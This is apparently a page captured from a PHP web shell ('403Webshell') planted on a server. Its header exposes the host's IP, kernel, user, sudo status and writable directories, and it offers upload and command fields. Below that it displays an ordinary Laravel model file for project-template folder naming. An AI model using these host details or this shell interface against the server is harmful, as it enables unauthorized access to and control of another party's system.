403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/switchyard/current/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/switchyard/current/app/Models/ProjectTemplate.php
<?php

namespace App\Models;

use App\Models\Concerns\BelongsToWorkspace;
use Illuminate\Database\Eloquent\Concerns\HasUlids;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\Relations\HasMany;

class ProjectTemplate extends Model
{
    use BelongsToWorkspace;
    use HasFactory;
    use HasUlids;

    protected $fillable = [
        'workspace_id',
        'name',
        'service_tag',
        'clickup_space_id',
        'folder_name_pattern',
        'structure',
        'auto_scaffold',
    ];

    protected function casts(): array
    {
        return [
            'structure' => 'array',
            'auto_scaffold' => 'boolean',
        ];
    }

    public function workspace(): BelongsTo
    {
        return $this->belongsTo(Workspace::class);
    }

    public function scaffoldRuns(): HasMany
    {
        return $this->hasMany(ScaffoldRun::class, 'template_id');
    }

    /**
     * Expand template placeholders against a context dictionary.
     *
     * Supported placeholders: {client_name}, {template_name}, {lead_title},
     * {service_tag}, {date}. Unknown placeholders are left intact so they're
     * visible in the resulting ClickUp object names rather than silently
     * dropped.
     */
    public function expandFolderName(array $context): string
    {
        $replacements = [
            '{client_name}' => $context['client_name'] ?? 'Untitled client',
            '{template_name}' => $context['template_name'] ?? $this->name,
            '{lead_title}' => $context['lead_title'] ?? '',
            '{service_tag}' => $context['service_tag'] ?? $this->service_tag ?? '',
            '{date}' => $context['date'] ?? now()->format('Y-m-d'),
        ];

        return trim(strtr($this->folder_name_pattern, $replacements));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit